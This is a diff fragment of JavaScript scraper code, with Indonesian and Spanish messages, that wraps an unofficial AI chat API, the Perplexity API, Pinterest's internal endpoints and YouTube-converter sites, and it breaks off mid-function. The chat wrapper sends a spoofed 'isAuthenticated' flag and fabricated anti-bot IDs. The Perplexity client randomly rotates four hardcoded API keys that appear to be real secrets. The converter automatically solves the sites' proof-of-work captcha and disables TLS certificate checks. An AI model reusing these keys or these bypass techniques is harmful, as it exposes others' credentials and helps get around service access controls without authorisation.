+ const chatId = `chat-${new Date().getTime()}-${gen(9, { lowerCase: true, number: true })}` //chat-1749292523602-k0tna5ef8
+ const userId = `local-user-${new Date().getTime()}-${gen(9, { lowerCase: true, number: true })}` //local-user-1749292766705-b49yu10mm
+ const antiBotId = `${gen(32)}-${gen(8, { number: true, lowerCase: true })}` //jUxRXb2xJbf8BVmIn2NGhncRQePiIiNE-8gvna4dd
+ return { id, chatId, userId, antiBotId }
+ },
+
+ generate: async (messages, systemPrompt, model) => {
+
+ const body = JSON.stringify(
+ {
+ messages,
+ systemPrompt,
+ model,
+ "isAuthenticated": true,
+ ...exoml.getRandom()
+ }
+ )
+
+ const headers = {
+ "content-type": "application/json",
+ }
+
+ const response = await fetch("https://exomlapi.com/api/chat", {
+ headers,
+ body,
+ "method": "post"
+ })
+
+ if (!response.ok) throw Error(`woops.. response is not ok! ${response.status} ${response.statusText}\n\n${await response.text()}`)
+
+ const data = await response.text()
+
+ // aku buruk dalam memparsing ini
+ const anu = [...data.matchAll(/^0:"(.*?)"$/gm)].map(v => v[1]).join("").replaceAll("\\n","\n").replaceAll("\\\"","\"")
+ if (!anu) throw Error(`gagal parsing pesan dari server, kemungkinan pesan kosong / error.\n\n${data}`)
+ return anu
+
+ }
+}
+
+// cara pakai
+const yourQuestion = "apa bedanya undefined dan null pada javascript"
+const systemPrompt = "balas singkat. tidak bertele tele. straight to the poin."
+
+const modelList = [
+ "llama",
+ "gemma",
+ "qwen-3-235b",
+ "gpt-4.1",
+ "gpt-4o",
+ "gpt-4o-mini",
+ "llama-4-scout",
+ "llama-4-maverick",
+ "deepseek-r1",
+ "qwq-32b"]
+
+const model = modelList[3] //gpt-4.1
+
+const messages = [
+ {
+ "role": "user",
+ "content": "halo",
+
+ },
+ {
+ "role": "assistant",
+ "content": "Halo! Ada yang bisa saya bantu?",
+
+ },
+ {
+ "role": "user",
+ "content": yourQuestion,
+
+ }
+]
+
+//-------------------[IA PERPLEXITY]--------------------
+
+const perplexity = {
+ api: {
+ base: 'https://api.perplexity.ai/chat/completions',
+
+ models: {
+ 'sonar-medium-online': {
+ description: 'Online-enabled medium model',
+ context: 12000
+ },
+ 'sonar-small-online': {
+ description: 'Online-enabled small model',
+ context: 12000
+ },
+ 'sonar-medium-chat': {
+ description: 'Optimized medium chat model',
+ context: 12000
+ },
+ 'sonar-small-chat': {
+ description: 'Optimized small chat model',
+ context: 12000
+ },
+ 'sonar-reasoning-pro': {
+ description: 'Advanced reasoning model with enhanced capabilities',
+ context: 16384
+ },
+ 'sonar-reasoning': {
+ description: 'Balanced reasoning model',
+ context: 8192
+ },
+ 'sonar-pro': {
+ description: 'Enhanced general purpose model',
+ context: 8192
+ },
+ 'sonar': {
+ description: 'Fast and efficient model',
+ context: 4096
+ },
+ 'mixtral-8x7b-instruct': {
+ description: 'Mixtral instruction model',
+ context: 8192
+ },
+ 'codellama-70b-instruct': {
+ description: 'Code specialized model',
+ context: 8192
+ },
+ 'llama-2-70b-chat': {
+ description: 'LLaMA 2 chat model',
+ context: 4096
+ }
+ },
+
+ headers: {
+ 'Content-Type': 'application/json',
+ 'Accept': 'application/json',
+ 'User-Agent': 'Postify/1.0.0'
+ },
+
+ keys: [
+ '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',
+ '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',
+ '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',
+ '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'
+ ],
+
+ retry: {
+ maxAttempts: 3,
+ delayMs: 2000,
+ timeoutMs: 60000
+ }
+ },
+
+ isParams: (messages, model, temperature) => {
+ const errors = [];
+
+ if (!messages || !Array.isArray(messages) || messages.length === 0) {
+ errors.push({
+ param: 'messages',
+ error: 'Udah capek yak gua ngasih tau lu, input tuh minimal diisi napa 🗿',
+ example: [{
+ role: 'user',
+ content: 'inputnya disini yakk'
+ }]
+ });
+ } else {
+ messages.forEach((msg, index) => {
+ if (!msg.role || !msg.content) {
+ errors.push({
+ param: `messages[${index}]`,
+ error: 'Format message lu ngaco anjirr 🗿',
+ example: {
+ role: 'user/assistant',
+ content: 'inputnya disini yakk'
+ }
+ });
+ }
+ });
+ }
+
+ if (!model) {
+ errors.push({
+ param: 'model',
+ error: 'Literally modelnya kagak diisi bree?? Minimal input lah 1 mah 🗿',
+ available: Object.keys(perplexity.api.models)
+ });
+ } else if (!perplexity.api.models[model]) {
+ errors.push({
+ param: 'model',
+ error: 'Model yang lu pilih kagak ada bree! Pilih aja salah satu dari list ini yak ..',
+ available: Object.keys(perplexity.api.models)
+ });
+ }
+
+ if (temperature === undefined || temperature === null) {
+ errors.push({
+ param: 'temperature',
+ error: 'Temperaturenya mana bree?! Kagak kosong begini dong 🗿',
+ range: '0.0 - 1.0',
+ recommended: 0.7
+ });
+ } else if (temperature < 0 || temperature > 1) {
+ errors.push({
+ param: 'temperature',
+ error: 'Temperaturenya kebanyakan atau kurang ngab! Rangenya 0-1 doang yak 🙃',
+ range: '0.0 - 1.0',
+ recommended: 0.7
+ });
+ }
+
+ return errors;
+ },
+
+ key: () => perplexity.api.keys[Math.floor(Math.random() * perplexity.api.keys.length)],
+
+ delay: (ms) => new Promise(resolve => setTimeout(resolve, ms)),
+
+ retry: async (operation, attempt = 1) => {
+ try {
+ return await operation();
+ } catch (error) {
+ if (attempt >= perplexity.api.retry.maxAttempts) {
+ throw error;
+ }
+
+ console.log(`🔄 Ngetry attempt yang ke-${attempt}, nunggu ${perplexity.api.retry.delayMs}ms yak bree 😂...`);
+ console.error(error.message);
+
+ await perplexity.delay(perplexity.api.retry.delayMs * attempt);
+ return await perplexity.retry(operation, attempt + 1);
+ }
+ },
+
+ createAxiosInstance: () => axios.create({
+ baseURL: perplexity.api.base,
+ timeout: perplexity.api.retry.timeoutMs,
+ maxContentLength: Infinity,
+ maxBodyLength: Infinity
+ }),
+
+ getHeaders: (apiKey) => {
+ return {
+ 'Authorization': `Bearer ${apiKey}`,
+ ...perplexity.api.headers
+ };
+ },
+
+ chat: async (messages, model = 'sonar', temperature = 0.7) => {
+ const ve = perplexity.isParams(messages, model, temperature);
+ if (ve.length > 0) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: 'Parameter lu pada ngaco semua anjiir 🌝',
+ details: ve
+ }
+ };
+ }
+
+ return await perplexity.retry(async () => {
+ const axiosInstance = perplexity.createAxiosInstance();
+ const perplexityKey = perplexity.key();
+
+ try {
+ const response = await axiosInstance.post('', {
+ model: model,
+ messages: messages,
+ temperature: temperature,
+ max_tokens: 4096,
+ stream: false
+ }, {
+ headers: perplexity.getHeaders(perplexityKey)
+ });
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ response: response.data.choices[0].message.content,
+ model: {
+ name: model,
+ ...perplexity.api.models[model]
+ }
+ }
+ };
+
+ } catch (error) {
+ const e = {
+ status: false,
+ code: error.response?.status || 500,
+ result: {
+ error: 'Error bree 🗿',
+ details: `${error.message}`,
+ solution: 'Coba lagi nanti aja bree, sapa tau berhasil nanti 😂'
+ }
+ };
+ throw e;
+ }
+ });
+ },
+
+ stream: async (messages, model = 'sonar', temperature = 0.7, onChunk) => {
+ const ve = perplexity.isParams(messages, model, temperature);
+ if (ve.length > 0) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: 'Parameter lu pada ngaco semua bree 😫',
+ details: ve
+ }
+ };
+ }
+
+ if (typeof onChunk !== 'function') {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: 'Function callbacknya mana bree?! 😤',
+ details: [{
+ param: 'onChunk',
+ error: 'Kudu pake callback function buat streaminnya bree!',
+ example: '(chunk) => console.log(chunk)'
+ }]
+ }
+ };
+ }
+
+ return await perplexity.retry(async () => {
+ const axiosInstance = perplexity.createAxiosInstance();
+ const perplexityKey = perplexity.key();
+
+ try {
+ const response = await axiosInstance.post('', {
+ model: model,
+ messages: messages,
+ temperature: temperature,
+ max_tokens: 4096,
+ stream: true
+ }, {
+ headers: perplexity.getHeaders(perplexityKey),
+ responseType: 'stream'
+ });
+
+ let pull = '';
+
+ for await (const chunk of response.data) {
+ const lines = chunk.toString().split('\n');
+
+ for (const line of lines) {
+ if (line.startsWith('data: ')) {
+ try {
+ const result = JSON.parse(line.slice(5));
+ if (result.choices?.[0]?.delta?.content) {
+ const content = result.choices[0].delta.content;
+ pull += content;
+ onChunk(content);
+ }
+ } catch (e) {
+ if (!line.includes('[DONE]')) {
+ console.warn('❌ Gagal parse chunknya bree: ', e);
+ }
+ }
+ }
+ }
+ }
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ response: pull,
+ model: {
+ name: model,
+ ...perplexity.api.models[model]
+ }
+ }
+ };
+
+ } catch (error) {
+ const e = {
+ status: false,
+ code: error.response?.status || 500,
+ result: {
+ error: 'Streamingnya error bree 😑',
+ details: error.message,
+ solution: 'Reset ulang aja dah streamingnya bree 🔄'
+ }
+ };
+ throw e;
+ }
+ });
+ }
+};
+
+//----------------------[Pinterest]---------------------------
+const pinterest = {
+ api: {
+ base: "https://www.pinterest.com",
+ endpoints: {
+ search: "/resource/BaseSearchResource/get/",
+ pin: "/resource/PinResource/get/",
+ user: "/resource/UserResource/get/"
+ }
+ },
+
+ headers: {
+ 'accept': 'application/json, text/javascript, */*, q=0.01',
+ 'referer': 'https://www.pinterest.com/',
+ 'user-agent': 'Postify/1.0.0',
+ 'x-app-version': 'a9522f',
+ 'x-pinterest-appstate': 'active',
+ 'x-pinterest-pws-handler': 'www/[username]/[slug].js',
+ 'x-pinterest-source-url': '/search/pins/?rs=typed&q=kucing%20anggora/',
+ 'x-requested-with': 'XMLHttpRequest'
+ },
+
+ isUrl: (str) => {
+ try {
+ new URL(str);
+ return true;
+ } catch (_) {
+ return false;
+ }
+ },
+
+ isPin: (url) => {
+ if (!url) return false;
+ const patterns = [
+ /^https?:\/\/(?:www\.)?pinterest\.com\/pin\/[\w.-]+/,
+ /^https?:\/\/(?:www\.)?pinterest\.[\w.]+\/pin\/[\w.-]+/,
+ /^https?:\/\/(?:www\.)?pinterest\.(?:ca|co\.uk|com\.au|de|fr|id|es|mx|br|pt|jp|kr|nz|ru|at|be|ch|cl|dk|fi|gr|ie|nl|no|pl|pt|se|th|tr)\/pin\/[\w.-]+/,
+ /^https?:\/\/pin\.it\/[\w.-]+/,
+ /^https?:\/\/(?:www\.)?pinterest\.com\/amp\/pin\/[\w.-]+/,
+ /^https?:\/\/(?:[a-z]{2}|www)\.pinterest\.com\/pin\/[\w.-]+/,
+ /^https?:\/\/(?:www\.)?pinterest\.com\/pin\/[\d]+(?:\/)?$/,
+ /^https?:\/\/(?:www\.)?pinterest\.[\w.]+\/pin\/[\d]+(?:\/)?$/,
+ /^https?:\/\/(?:www\.)?pinterestcn\.com\/pin\/[\w.-]+/,
+ /^https?:\/\/(?:www\.)?pinterest\.com\.[\w.]+\/pin\/[\w.-]+/
+ ];
+
+ const clean = url.trim().toLowerCase();
+ return patterns.some(pattern => pattern.test(clean));
+},
+
+ getCookies: async () => {
+ try {
+ const response = await axios.get(pinterest.api.base);
+ const setHeaders = response.headers['set-cookie'];
+ if (setHeaders) {
+ const cookies = setHeaders.map(cookieString => {
+ const cp = cookieString.split(';');
+ const cv = cp[0].trim();
+ return cv;
+ });
+ return cookies.join('; ');
+ }
+ return null;
+ } catch (error) {
+ console.error(error);
+ return null;
+ }
+ },
+
+ search: async (query, limit = 10) => {
+ if (!query) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] ¡Hermano, qué escribiste? ¿El query está literalmente vacío? ¿Crees que tengo un tercer ojo para adivinar? ¡Esfuérzate un poco, por favor!"
+ }
+ };
+ }
+
+ try {
+ const cookies = await pinterest.getCookies();
+ if (!cookies) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] No pude obtener las cookies, intenta de nuevo más tarde, ¿ya?"
+ }
+ };
+ }
+
+ const params = {
+ source_url: `/search/pins/?q=${query}`,
+ data: JSON.stringify({
+ options: {
+ isPrefetch: false,
+ query: query,
+ scope: "pins",
+ bookmarks: [""],
+ no_fetch_context_on_resource: false,
+ page_size: limit
+ },
+ context: {}
+ }),
+ _: Date.now()
+ };
+
+ const { data } = await axios.get(`${pinterest.api.base}${pinterest.api.endpoints.search}`, {
+ headers: { ...pinterest.headers, 'cookie': cookies },
+ params: params
+ });
+
+ const container = [];
+ const results = data.resource_response.data.results.filter((v) => v.images?.orig);
+
+ results.forEach((result) => {
+ container.push({
+ id: result.id,
+ title: result.title || "",
+ description: result.description,
+ pin_url: `https://pinterest.com/pin/${result.id}`,
+ media: {
+ images: {
+ orig: result.images.orig,
+ small: result.images['236x'],
+ medium: result.images['474x'],
+ large: result.images['736x']
+ },
+ video: result.videos ? {
+ video_list: result.videos.video_list,
+ duration: result.videos.duration,
+ video_url: result.videos.video_url
+ } : null
+ },
+ uploader: {
+ username: result.pinner.username,
+ full_name: result.pinner.full_name,
+ profile_url: `https://pinterest.com/${result.pinner.username}`
+ }
+ });
+ });
+
+ if (container.length === 0) {
+ return {
+ status: false,
+ code: 404,
+ result: {
+ message: `[ ❌ ] ¡Qué desastre, hermano! No encontré nada con "${query}". En serio, tus habilidades de búsqueda necesitan mejorar, sin ofender, ¡esfuérzate más!`
+ }
+ };
+ }
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ query: query,
+ total: container.length,
+ pins: container
+ }
+ };
+
+ } catch (error) {
+ return {
+ status: false,
+ code: error.response?.status || 500,
+ result: {
+ message: "[ ❌ ] ¡El servidor está en caos, hermano! Me molestas todo el tiempo, necesita un descanso. Intenta de nuevo más tarde, ¿ok?"
+ }
+ };
+ }
+ },
+
+ download: async (pinUrl) => {
+ if (!pinUrl) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] ¿Me diste un link vacío, hermano? ¿En serio? ¿Quieres que descargue aire? ¡Esfuérzate un poco, estoy cansado!"
+ }
+ };
+ }
+
+ if (!pinterest.isUrl(pinUrl)) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] ¿Qué link es este? ¡No sabes ni lo básico de URLs, qué locura!"
+ }
+ };
+ }
+
+ if (!pinterest.isPin(pinUrl)) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] ¡Por favor, esto no es un link de Pinterest, hermano!"
+ }
+ };
+ }
+
+ try {
+ const pinId = pinUrl.split('/pin/')[1].replace('/', '');
+ const cookies = await pinterest.getCookies();
+
+ if (!cookies) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] No pude obtener las cookies, intenta de nuevo más tarde, ¿ya?"
+ }
+ };
+ }
+
+ const params = {
+ source_url: `/pin/${pinId}/`,
+ data: JSON.stringify({
+ options: {
+ field_set_key: "detailed",
+ id: pinId,
+ },
+ context: {}
+ }),
+ _: Date.now()
+ };
+
+ const { data } = await axios.get(`${pinterest.api.base}${pinterest.api.endpoints.pin}`, {
+ headers: { ...pinterest.headers, 'cookie': cookies },
+ params: params
+ });
+
+ if (!data.resource_response.data) {
+ return {
+ status: false,
+ code: 404,
+ result: {
+ message: "[ ❌ ] El pin ya no existe, hermano, se fue, expiró, ¡borrado del planeta! Busca algo que exista, me cansé de explicarte."
+ }
+ };
+ }
+
+ const pd = data.resource_response.data;
+ const mediaUrls = [];
+
+ if (pd.videos) {
+ const videoFormats = Object.values(pd.videos.video_list)
+ .sort((a, b) => b.width - a.width);
+
+ videoFormats.forEach(video => {
+ mediaUrls.push({
+ type: 'video',
+ quality: `${video.width}x${video.height}`,
+ width: video.width,
+ height: video.height,
+ duration: pd.videos.duration || null,
+ url: video.url,
+ file_size: video.file_size || null,
+ thumbnail: pd.images.orig.url
+ });
+ });
+ }
+
+ if (pd.images) {
+ const imge = {
+ 'original': pd.images.orig,
+ 'large': pd.images['736x'],
+ 'medium': pd.images['474x'],
+ 'small': pd.images['236x'],
+ 'thumbnail': pd.images['170x']
+ };
+
+ Object.entries(imge).forEach(([quality, image]) => {
+ if (image) {
+ mediaUrls.push({
+ type: 'image',
+ quality: quality,
+ width: image.width,
+ height: image.height,
+ url: image.url,
+ size: `${image.width}x${image.height}`
+ });
+ }
+ });
+ }
+
+ if (mediaUrls.length === 0) {
+ return {
+ status: false,
+ code: 404,
+ result: {
+ message: "[ ❌ ] ¡Qué desastre, hermano! El pin no tiene medios. ¿Qué esperas que descargue, solo vibes? ¡Qué locura!"
+ }
+ };
+ }
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ id: pd.id,
+ title: pd.title || pd.grid_title || "",
+ description: pd.description || "",
+ created_at: pd.created_at,
+ dominant_color: pd.dominant_color || null,
+ link: pd.link || null,
+ category: pd.category || null,
+ media_urls: mediaUrls,
+ statistics: {
+ saves: pd.repin_count || 0,
+ comments: pd.comment_count || 0,
+ reactions: pd.reaction_counts || {},
+ total_reactions: pd.total_reaction_count || 0,
+ views: pd.view_count || 0,
+ saves_by_category: pd.aggregated_pin_data?.aggregated_stats || {},
+ },
+ source: {
+ name: pd.domain || null,
+ url: pd.link || null,
+ favicon: pd.favicon_url || null,
+ provider: pd.provider_name || null,
+ rating: pd.embed?.src_rating || null
+ },
+ board: {
+ id: pd.board?.id || null,
+ name: pd.board?.name || null,
+ url: pd.board?.url ? `https://pinterest.com${pd.board.url}` : null,
+ owner: {
+ id: pd.board?.owner?.id || null,
+ username: pd.board?.owner?.username || null
+ }
+ },
+ uploader: {
+ id: pd.pinner?.id || null,
+ username: pd.pinner?.username || null,
+ full_name: pd.pinner?.full_name || null,
+ profile_url: pd.pinner?.username ? `https://pinterest.com/${pd.pinner.username}` : null,
+ image: {
+ small: pd.pinner?.image_small_url || null,
+ medium: pd.pinner?.image_medium_url || null,
+ large: pd.pinner?.image_large_url || null,
+ original: pd.pinner?.image_xlarge_url || null
+ },
+ type: pd.pinner?.type || "user",
+ is_verified: pd.pinner?.verified_identity || false
+ },
+ metadata: {
+ article: pd.article || null,
+ product: {
+ price: pd.price_value || null,
+ currency: pd.price_currency || null,
+ availability: pd.shopping_flags || null,
+ ratings: pd.rating || null,
+ reviews_count: pd.review_count || null
+ },
+ recipe: pd.recipe || null,
+ video: pd.videos ? {
+ duration: pd.videos.duration || null,
+ views: pd.videos.video_view_count || null,
+ cover: pd.videos.cover_image_url || null
+ } : null
+ },
+ is_promoted: pd.is_promoted || false,
+ is_downloadable: pd.is_downloadable || true,
+ is_playable: pd.is_playable || false,
+ is_repin: pd.is_repin || false,
+ is_video: pd.is_video || false,
+ has_required_attribution: pd.attribution || null,
+ privacy_level: pd.privacy || "public",
+ tags: pd.pin_join?.annotations || [],
+ hashtags: pd.hashtags || [],
+ did_it_data: pd.did_it_data || null,
+ native_creator: pd.native_creator || null,
+ sponsor: pd.sponsor || null,
+ visual_search_objects: pd.visual_search_objects || []
+ }
+ };
+
+ } catch (error) {
+ if (error.response?.status === 404) {
+ return {
+ status: false,
+ code: 404,
+ result: {
+ message: "[ ❌ ] El pin ya no existe, hermano, se fue, expiró, ¡borrado del planeta! Busca algo que exista, me cansé de explicarte."
+ }
+ };
+ }
+
+ return {
+ status: false,
+ code: error.response?.status || 500,
+ result: {
+ message: "[ ❌ ] ¡El servidor está en caos, hermano! Me molestas todo el tiempo, necesita un descanso. Intenta de nuevo más tarde, ¿ok?"
+ }
+ };
+ }
+ },
+
+ profile: async (username) => {
+ if (!username) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] ¿Dónde está el username, hermano? ¿Esperas que sea adivino? ¡Dame un username al menos, por favor!"
+ }
+ };
+ }
+
+ try {
+ const cookies = await pinterest.getCookies();
+ if (!cookies) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ message: "[ ❌ ] No pude obtener las cookies, intenta de nuevo más tarde, ¿ya?"
+ }
+ };
+ }
+
+ const params = {
+ source_url: `/${username}/`,
+ data: JSON.stringify({
+ options: {
+ username: username,
+ field_set_key: "profile",
+ isPrefetch: false,
+ },
+ context: {}
+ }),
+ _: Date.now()
+ };
+
+ const { data } = await axios.get(`${pinterest.api.base}${pinterest.api.endpoints.user}`, {
+ headers: { ...pinterest.headers, 'cookie': cookies },
+ params: params
+ });
+
+ if (!data.resource_response.data) {
+ return {
+ status: false,
+ code: 404,
+ result: {
+ message: "[ ❌ ] ¡El usuario no existe, hermano! ¿A quién estás buscando en realidad?"
+ }
+ };
+ }
+
+ const userx = data.resource_response.data;
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ id: userx.id,
+ username: userx.username,
+ full_name: userx.full_name || "",
+ bio: userx.about || "",
+ email: userx.email || null,
+ type: userx.type || "user",
+ profile_url: `https://pinterest.com/${userx.username}`,
+ image: {
+ small: userx.image_small_url || null,
+ medium: userx.image_medium_url || null,
+ large: userx.image_large_url || null,
+ original: userx.image_xlarge_url || null
+ },
+ stats: {
+ pins: userx.pin_count || 0,
+ followers: userx.follower_count || 0,
+ following: userx.following_count || 0,
+ boards: userx.board_count || 0,
+ likes: userx.like_count || 0,
+ saves: userx.save_count || 0
+ },
+ website: userx.website_url || null,
+ domain_url: userx.domain_url || null,
+ domain_verified: userx.domain_verified || false,
+ explicitly_followed_by_me: userx.explicitly_followed_by_me || false,
+ implicitly_followed_by_me: userx.implicitly_followed_by_me || false,
+ location: userx.location || null,
+ country: userx.country || null,
+ is_verified: userx.verified_identity || false,
+ is_partner: userx.is_partner || false,
+ is_indexed: userx.indexed || false,
+ is_tastemaker: userx.is_tastemaker || false,
+ is_employee: userx.is_employee || false,
+ is_blocked: userx.blocked_by_me || false,
+ meta: {
+ first_name: userx.first_name || null,
+ last_name: userx.last_name || null,
+ full_name: userx.full_name || "",
+ locale: userx.locale || null,
+ gender: userx.gender || null,
+ partner: {
+ is_partner: userx.is_partner || false,
+ partner_type: userx.partner_type || null
+ }
+ },
+ account_type: userx.account_type || null,
+ personalize_pins: userx.personalize || false,
+ connected_to_etsy: userx.connected_to_etsy || false,
+ has_password: userx.has_password || true,
+ has_mfa: userx.has_mfa || false,
+ created_at: userx.created_at || null,
+ last_login: userx.last_login || null,
+ social_links: {
+ twitter: userx.twitter_url || null,
+ facebook: userx.facebook_url || null,
+ instagram: userx.instagram_url || null,
+ youtube: userx.youtube_url || null,
+ etsy: userx.etsy_url || null
+ },
+ custom_gender: userx.custom_gender || null,
+ pronouns: userx.pronouns || null,
+ board_classifications: userx.board_classifications || {},
+ interests: userx.interests || []
+ }
+ };
+
+ } catch (error) {
+ if (error.response?.status === 404) {
+ return {
+ status: false,
+ code: 404,
+ result: {
+ message: "[ ❌ ] ¡El username no es válido, hermano! Buscas a lo loco, mejor googlea primero."
+ }
+ };
+ }
+
+ return {
+ status: false,
+ code: error.response?.status || 500,
+ result: {
+ message: "[ ❌ ] ¡El servidor está en caos, hermano! Me molestas todo el tiempo, necesita un descanso. Intenta de nuevo más tarde, ¿ok?"
+ }
+ };
+ }
+ }
+};
+
+//-------------------[YTDL AMDL]--------------------
+
+const amdl = {
+ api: {
+ base: {
+ video: 'https://amp4.cc',
+ audio: 'https://amp3.cc'
+ }
+ },
+ headers: {
+ Accept: 'application/json',
+ 'User-Agent': 'Postify/1.0.0',
+ },
+ jar: new CookieJar(),
+ client: wrapper(axios.create({ jar: new CookieJar() })),
+
+ ytRegex: /^((?:https?:)?\/\/)?((?:www|m|music)\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=)?(?:embed\/)?(?:v\/)?(?:shorts\/)?([a-zA-Z0-9_-]{11})/,
+
+ formats: {
+ video: ['144p', '240p', '360p', '480p', '720p', '1080p'],
+ audio: ['64k', '128k', '192k', '256k', '320k']
+ },
+
+ captcha: {
+ hashChallenge: async function(salt, number, algorithm) {
+ return crypto.createHash(algorithm.toLowerCase()).update(salt + number).digest('hex');
+ },
+
+ verifyChallenge: async function(challengeData, salt, algorithm, maxNumber) {
+ for (let i = 0; i <= maxNumber; i++) {
+ if (await this.hashChallenge(salt, i, algorithm) === challengeData) {
+ return { number: i, took: Date.now() };
+ }
+ }
+ throw new Error('Fallo en la verificación de Captcha.');
+ },
+
+ solve: async function(challenge) {
+ const { algorithm, challenge: challengeData, salt, maxnumber, signature } = challenge;
+ const solution = await this.verifyChallenge(challengeData, salt, algorithm, maxnumber);
+ return Buffer.from(
+ JSON.stringify({
+ algorithm,
+ challenge: challengeData,
+ number: solution.number,
+ salt,
+ signature,
+ took: solution.took,
+ })
+ ).toString('base64');
+ },
+ },
+
+ isUrl: async function(url) {
+ if (!url) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: "[ ❌ ] ¿Dónde está el link? ¡No puedo descargar sin un link, por favor!"
+ }
+ };
+ }
+
+ if (!this.ytRegex.test(url)) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: "[ ❌ ] ¿Qué link metiste, hermano? ¡Solo links de YouTube, que eso es lo que quieres descargar!"
+ }
+ };
+ }
+
+ return {
+ status: true,
+ code: 200,
+ id: url.match(this.ytRegex)[3]
+ };
+ },
+
+ convert: async function(url, format, quality, isAudio = false) {
+ try {
+ const linkx = await this.isUrl(url);
+ if (!linkx.status) return linkx;
+
+ const formatx = isAudio ? this.formats.audio : this.formats.video;
+ if (!quality || !formatx.includes(quality)) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: "[ ❌ ] ¡Ese formato no existe, hermano! Elige uno de los disponibles, no busques lo que no hay.",
+ available_fmt: formatx
+ }
+ };
+ }
+
+ const fixedURL = `https://youtu.be/${linkx.id}`;
+ const base = isAudio ? this.api.base.audio : this.api.base.video;
+
+ const pages = await this.client.get(`${base}/`);
+ const $ = cheerio.load(pages.data);
+ const csrfToken = $('meta[name="csrf-token"]').attr('content');
+
+ if (!csrfToken) {
+ return {
+ status: false,
+ code: 500,
+ result: {
+ error: "[ ❌ ] ¡No hay CSRF, hermano! Parece que hay un problema..."
+ }
+ };
+ }
+
+ const form = new FormData();
+ form.append('url', fixedURL);
+ form.append('format', format);
+ form.append('quality', quality);
+ form.append('service', 'youtube');
+
+ if (isAudio) {
+ form.append('playlist', 'false');
+ }
+
+ form.append('_token', csrfToken);
+
+ const captchaX = await this.client.get(`${base}/captcha`, {
+ headers: {
+ ...this.headers,
+ Origin: base,
+ Referer: `${base}/`
+ },
+ });
+
+ if (captchaX.data) {
+ const solvedCaptcha = await this.captcha.solve(captchaX.data);
+ form.append('altcha', solvedCaptcha);
+ }
+
+ const endpoint = isAudio ? '/convertAudio' : '/convertVideo';
+ const res = await this.client.post(`${base}${endpoint}`, form, {
+ headers: {
+ ...form.getHeaders(),
+ ...this.headers,
+ Origin: base,
+ Referer: `${base}/`
+ },
+ });
+
+ if (!res.data.success) {
+ return {
+ status: false,
+ code: 400,
+ result: {
+ error: res.data.message
+ }
+ };
+ }
+
+ const ws = await this.connect(res.data.message, isAudio);
+ const dlink = `${base}/dl/${ws.worker}/${res.data.message}/${encodeURIComponent(ws.file)}`;
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ title: ws.title || "[ ❌ ] No sé",
+ type: isAudio ? 'audio' : 'video',
+ format: format,
+ thumbnail: ws.thumbnail || `https://i.ytimg.com/vi/${linkx.id}/maxresdefault.jpg`,
+ download: dlink,
+ id: linkx.id,
+ duration: ws.duration,
+ quality: quality,
+ uploader: ws.uploader
+ }
+ };
+
+ } catch (error) {
+ return {
+ status: false,
+ code: 500,
+ result: {
+ error: "[ ❌ ] ¡Hubo un error, qué risa!"
+ }
+ };
+ }
+ },
+
+ connect: async function(id, isAudio = false) {
+ return new Promise((resolve, reject) => {
+ const ws = new WebSocket(`wss://${isAudio ? 'amp3' : 'amp4'}.cc/ws`, ['json'], {
+ headers: {
+ ...this.headers,
+ Origin: `https://${isAudio ? 'amp3' : 'amp4'}.cc`
+ },
+ rejectUnauthorized: false,
+ });
+
+ let fileInfo = {};
+ let timeoutId = setTimeout(() => {
+ ws.close();
+ reject({
+ status: false,
+ code: 408,
+ result: {
+ error: "[ ❌ ] Se acabó el tiempo, el servidor no responde, ¡qué risa!"
+ }
+ });
+ }, 30000);
+
+ ws.on('open', () => ws.send(id));
+ ws.on('message', (data) => {
+ const res = JSON.parse(data);
+ if (res.event === 'query' || res.event === 'queue') {
+ fileInfo = { thumbnail: res.thumbnail, title: res.title, duration: res.duration, uploader: res.uploader };
+ } else if (res.event === 'file' && res.done) {
+ clearTimeout(timeoutId);
+ ws.close();
+ resolve({ ...fileInfo, ...res });
+ }
+ });
+ ws.on('error', (err) => {
+ clearTimeout(timeoutId);
+ reject({
+ status: false,
+ code: 500,
+ result: {
+ error: "[ ❌ ] ¡Qué mal, este servidor es pésimo! Falló la conexión otra vez, qué desastre."
+ }
+ });
+ });
+ });
+ },
+
+ download: async function(url, format = '720p') {
+ try {
+ const isAudio = format === 'mp3';
+ return await this.convert(
+ url,
+ isAudio ? 'mp3' : 'mp4',
+ isAudio ? '128k' : format,
+ isAudio
+ );
+ } catch (error) {
+ return {
+ status: false,
+ code: 500,
+ result: {
+ error: "[ ❌ ] ¡Error, qué locura!"
+ }
+ };
+ }
+ }
+};
+
+const ytdown = {
+ api: {
+ base: "https://p.oceansaver.in/ajax/",
+ progress: "https://p.oceansaver.in/ajax/progress.php"
+ },
+ headers: {
+ 'authority': 'p.oceansaver.in',
+ 'origin': 'https://y2down.cc',
+ 'referer': 'https://y2down.cc/',
+ 'user-agent': 'Postify/1.0.0'
+ },
+ formats: ['360', '480', '720', '1080', '1440', '2160', 'mp3', 'm4a', 'wav', 'aac', 'flac', 'opus', 'ogg'],
+
+ isUrl: str => { try { new URL(str); return true; } catch (_) { return false; } },
+
+ youtube: url => {
+ if (!url) return null;
+ const a = [
+ /youtube\.com\/watch\?v=([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/embed\/([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/v\/([a-zA-Z0-9_-]{11})/,
